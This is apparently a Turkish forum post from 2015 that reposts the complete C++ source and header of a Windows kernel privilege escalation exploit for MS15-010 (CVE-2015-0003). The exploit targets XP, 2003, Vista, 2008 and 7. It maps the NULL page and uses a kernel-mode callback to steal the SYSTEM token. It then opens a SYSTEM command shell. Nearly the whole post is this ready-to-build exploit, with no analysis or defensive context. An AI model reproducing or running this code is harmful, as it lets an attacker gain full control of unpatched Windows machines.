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Microsoft Windows - Local Privilege Escalation (MS15-010)
Konu : Microsoft Windows - Local Privilege Escalation (MS15-010) - 20.06.2015, 15:02
Mesaj: #1
Kod:
// ex.cpp
/*
Windows XP/2K3/VISTA/2K8/7 WM_SYSTIMER Kernel EoP
CVE-2015-0003
March 2015 (Public Release: May 24, 2015)
Tested on:
x86: Win 7 SP1 | Win 2k3 SP2 | Win XP SP3
x64: Win 2k8 SP1 | Win 2k8 R2 SP1
Author: Skylake - skylake <at> mail <dot> com
*/
#include "ex.h"
_ZwAllocateVirtualMemory ZwAllocateVirtualMemory;
_PsLookupProcessByProcessId PsLookupProcessByProcessId;
_PsReferencePrimaryToken PsReferencePrimaryToken;
DWORD Pid;
ATOM atom;
BOOL KrnlMode, bSpawned;
DWORD_PTR WINAPI pti()
{
#ifdef _M_X64
LPBYTE p = ( LPBYTE ) __readgsqword( 0x30 );
return ( DWORD_PTR ) *( ( PDWORD_PTR ) ( p + 0x78 ) );
#else
LPBYTE p = ( LPBYTE ) __readfsdword( 0x18 );
return ( DWORD_PTR ) *( ( PDWORD_PTR ) ( p + 0x40 ) );
#endif
}
BOOL find_and_replace_member( PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize )
{
DWORD_PTR dwIndex, dwMask;
#ifdef _M_X64
dwMask = ~0xf;
#else
dwMask = ~7;
#endif
//
dwCurrentValue &= dwMask;
for( dwIndex = 0; dwIndex < dwMaxSize; dwIndex++ )
{
if( ( pdwStructure[dwIndex] & dwMask ) == dwCurrentValue )
{
//
pdwStructure[dwIndex] = dwNewValue;
return TRUE;
}
}
return FALSE;
}
BOOL WINAPI Init()
{
HMODULE hMod = NULL;
PVOID Base = NULL;
OSVERSIONINFO ov = { sizeof( OSVERSIONINFO ) };
PSYSTEM_MODULE_INFORMATION pm = NULL;
BOOL RetVal = FALSE;
__try {
if( !GetVersionEx( &ov ) ) __leave;
if( ov.dwMajorVersion == 5 && ov.dwMinorVersion > 0 )
{
atom = 0xc039;
}
else if( ov.dwMajorVersion == 6 && ov.dwMinorVersion < 2 )
{
atom = ( ov.dwMinorVersion == 1 ) ? 0xc03c : 0xc03a;
}
if( !atom ) __leave;
_ZwQuerySystemInformation ZwQuerySystemInformation = ( _ZwQuerySystemInformation ) GetProcAddress( GetModuleHandle( TEXT( "ntdll.dll" ) ), "ZwQuerySystemInformation" );
if( !ZwQuerySystemInformation ) __leave;
ZwAllocateVirtualMemory = ( _ZwAllocateVirtualMemory ) GetProcAddress( GetModuleHandle( TEXT( "ntdll.dll" ) ), "ZwAllocateVirtualMemory" );
if( !ZwAllocateVirtualMemory ) __leave;
ULONG len;
LONG status = ZwQuerySystemInformation( SystemModuleInformation, NULL, 0, &len );
if( !status ) __leave;
pm = ( PSYSTEM_MODULE_INFORMATION ) LocalAlloc( LMEM_ZEROINIT, len );
if( !pm ) __leave;
status = ZwQuerySystemInformation( SystemModuleInformation, pm, len, &len );
if( status ) __leave;
CHAR szKrnl[MAX_PATH] = { 0 }, *t;
for( ULONG i = 0; i < pm->Count; ++i )
{
if( strstr( pm->Module[i].ImageName, "exe" ) )
{
t = strstr( pm->Module[i].ImageName, "nt" );
if( t )
{
strcpy_s( szKrnl, _countof( szKrnl ) - 1, t );
Base = pm->Module[i].Base;
break;
}
}
}
hMod = LoadLibraryA( szKrnl );
if( !hMod || !Base ) __leave;

PsLookupProcessByProcessId = ( _PsLookupProcessByProcessId ) GetProcAddress( hMod, "PsLookupProcessByProcessId" );
if( !PsLookupProcessByProcessId ) __leave;
PsLookupProcessByProcessId = ( _PsLookupProcessByProcessId ) ( ( DWORD_PTR ) Base + ( ( DWORD_PTR ) PsLookupProcessByProcessId - ( DWORD_PTR ) hMod ) );
PsReferencePrimaryToken = ( _PsReferencePrimaryToken ) GetProcAddress( hMod, "PsReferencePrimaryToken" );
if( !PsReferencePrimaryToken ) __leave;
PsReferencePrimaryToken = ( _PsReferencePrimaryToken ) ( ( DWORD_PTR ) Base + ( ( DWORD_PTR ) PsReferencePrimaryToken - ( DWORD_PTR ) hMod ) );
Pid = GetCurrentProcessId();
RetVal = TRUE;
}
__finally {
if( pm ) LocalFree( pm );
if( hMod ) FreeLibrary( hMod );
}
return RetVal;
}
LRESULT CALLBACK ShellCode( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam )
{
LPVOID pCurProcess = NULL;
LPVOID pSystemInfo = NULL;
PACCESS_TOKEN systemToken;
PACCESS_TOKEN targetToken;
PsLookupProcessByProcessId( ( HANDLE ) Pid, &pCurProcess );
PsLookupProcessByProcessId( ( HANDLE ) 4, &pSystemInfo );
targetToken = PsReferencePrimaryToken( pCurProcess );
systemToken = PsReferencePrimaryToken( pSystemInfo );
//
find_and_replace_member( ( PDWORD_PTR ) pCurProcess,
( DWORD_PTR ) targetToken,
( DWORD_PTR ) systemToken,
0x200 );
KrnlMode = TRUE;
return 0;
}
VOID WINAPI leave()
{
keybd_event( VK_ESCAPE, 0, 0, NULL );
keybd_event( VK_ESCAPE, 0, KEYEVENTF_KEYUP, NULL );
keybd_event( VK_LWIN, 0, KEYEVENTF_KEYUP, NULL );
}
LRESULT CALLBACK WndProc( HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam )
{
if( bSpawned )
{
leave();
ExitProcess( 0 );
}
switch( message )
{
case WM_CREATE:
SetTimer( hWnd, ID_TIMER, 1000 * 3, NULL );
FlashWindow( hWnd, TRUE );
keybd_event( VK_LWIN, 0, 0, NULL );
break;
case WM_CLOSE:
DestroyWindow( hWnd );
break;
case WM_DESTROY:
PostQuitMessage( 0 );
break;
case WM_TIMER:
KillTimer( hWnd, ID_TIMER );
leave();
DestroyWindow( hWnd );
break;
default:
return DefWindowProc( hWnd, message, wParam, lParam );
}
return 0;
}
int APIENTRY _tWinMain( _In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPTSTR lpCmdLine,
_In_ int nCmdShow )
{
WNDCLASSEX wc = { sizeof( WNDCLASSEX ) };
HWND hWnd = NULL;
MSG Msg = { 0 };
SIZE_T size = 0x1000;
LPVOID addr = ( LPVOID ) 1;
if( !Init() ) return 1;

if( ZwAllocateVirtualMemory( ( HANDLE ) -1, &addr, 0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ) )
{
//
return 1;
}
DWORD_PTR p = pti();
if( !p ) return 1;
#ifdef _M_X64
*( ( PDWORD_PTR ) 0x10 ) = p;
*( ( LPBYTE ) 0x2a ) = 4;
*( ( LPVOID* ) 0x90 ) = ( LPVOID ) ShellCode;
*( ( PDWORD_PTR ) 0xa8 ) = 0x400;
*( ( LPDWORD ) 0x404 ) = 1;
*( ( PDWORD_PTR ) 0x408 ) = 0x800;
*( ( LPWORD ) 0x410 ) = atom;
*( ( LPBYTE ) 0x412 ) = 1;
#else
*( ( LPDWORD ) 0x08 ) = p;
*( ( LPBYTE ) 0x16 ) = 4;
*( ( LPVOID* ) 0x60 ) = ( LPVOID ) ShellCode;
*( ( LPDWORD ) 0x6c ) = 0x400;
*( ( LPDWORD ) 0x404 ) = 1;
*( ( LPDWORD ) 0x408 ) = 0x800;
*( ( LPWORD ) 0x40c ) = atom;
*( ( LPBYTE ) 0x40e ) = 1;
#endif
wc.lpfnWndProc = WndProc;
wc.hInstance = hInstance;
wc.lpszClassName = TEXT( "Class" );

if( !RegisterClassEx( &wc ) )
return 1;
hWnd = CreateWindowEx(
WS_EX_CLIENTEDGE,
TEXT( "Class" ),
TEXT( "Window" ),
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 200, 100,
NULL, NULL, hInstance, NULL );
if( !hWnd )
return 1;
ShowWindow( hWnd, SW_HIDE );
UpdateWindow( hWnd );
while( GetMessage( &Msg, NULL, 0, 0 ) )
{
if ( Msg.message == WM_SYSTIMER ) // Borrowed from http://blog.beyondtrust.com/fuzzing-for-ms15-010
{
if( !KrnlMode )
{
Msg.hwnd = ( HWND ) NULL;
}
else
{
Msg.hwnd = hWnd;
if( !bSpawned )
{
ShellExecute( NULL, TEXT( "open" ), TEXT( "cmd.exe" ), NULL, NULL, SW_SHOW );
bSpawned = TRUE;
}
}
}
TranslateMessage( &Msg );
DispatchMessage( &Msg );
}
return ( int ) Msg.wParam;
}
// EOF
//ex.h
#pragma once
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
typedef NTSTATUS ( WINAPI *_ZwAllocateVirtualMemory ) (
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
typedef NTSTATUS ( WINAPI *_PsLookupProcessByProcessId ) (
_In_ HANDLE ProcessId,
_Out_ PVOID *Process
);
typedef PACCESS_TOKEN ( WINAPI *_PsReferencePrimaryToken ) (
_Inout_ PVOID Process
);
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemModuleInformation = 11
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS ( WINAPI *_ZwQuerySystemInformation ) (
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
#define ID_TIMER 0x1
#define WM_SYSTIMER 0x118
// EOF


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(Son Düzenleme: 20.06.2015, 15:04, Düzenleyen: The-X4NG.)
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